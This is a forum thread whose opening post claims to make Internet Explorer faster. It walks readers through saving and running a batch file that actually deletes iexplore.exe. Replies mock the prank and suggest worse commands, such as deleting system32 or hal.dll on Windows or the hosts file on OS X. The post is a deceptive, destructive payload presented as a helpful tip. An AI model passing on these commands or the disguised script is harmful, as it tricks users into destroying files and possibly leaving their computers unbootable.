How to make Internet Explorer faster

Right click on your desktop
Hover over New
Click Text Document
Paste the following in the text document that opens up

Code:

@echo off
:start
title iamaminer's IE speedboost
cls
echo Type XP if you're using Microsoft Windows XP
echo Type Vista if you're using Microsoft Windows Vista
echo Type 7 if you're using Microsoft Windows 7
set /p o=Please enter one of the above:
if %o%==XP goto :XP
if %o%==Vista goto :Vista
if %o%==7 goto :7
pause
:XP
title Boosting IE
del %system root%\Program Files\Internet Explorer\iexplore.exe
echo I THINK YOU FUCKING DID IT YOU FUCKING BOOSTED THE INTERNET EXPLORER
pause
:Vista
title Boosting IE
del %system root%\Program Files (x86)\Internet Explorer\iexplore.exe
echo I THINK YOU FUCKING DID IT YOU FUCKING BOOSTED THE INTERNET EXPLORER
pause
:7
title Boosting IE
del %system root%\Program Files (x86)\Internet Explorer\iexplore.exe
echo I THINK YOU FUCKING DID IT YOU FUCKING BOOSTED THE INTERNET EXPLORER
pause

Now go to File > Save As
Name the file iamaminer.bat
Under "Save as Type" select "All files (*.*)"
Under encoding, save as ANSI
Save it to your desktop

There should now be a new icon on your desktop called iamaminer.bat, double click it and follow the instructions

 

inb4iamaminerlink

 

nice malicious software guide. Thanks

 

Thanks man it works perfect

 

HELP!!!!! my internet explorer icon is gone now!!!!!!!! HELP ME PLEASE MY MOM WILL FUCKING _KILL_ ME IF SHE CAN'T FIND IT.

 

Why would anyone waste time on this? When other browsers are faster anyway.

 

hes doing a favor deleting IE

 

I'm Fucking Serious I Tihnk I Fucking Deleted The Internet Explorer!!!111

 

Faill Loll

 

You guys are fucking idiots.

 

How to Make Internet Explorer faster on OS X (10.x.x) (lolwut)
Delete private/etc/hosts folder

 

I like @echo off del c:\WINDOWS\system32 better

 

no

@echo off del c:\WINDOWS\system32\hal.dll

 

Yeah, delete hal.dll. Haven't any of you seen "2001: A Space Odyssey"?

 

del %system root%\Program Files\Internet Explorer\iexplore.exe

 

Lol'd, AVG found a virus on this page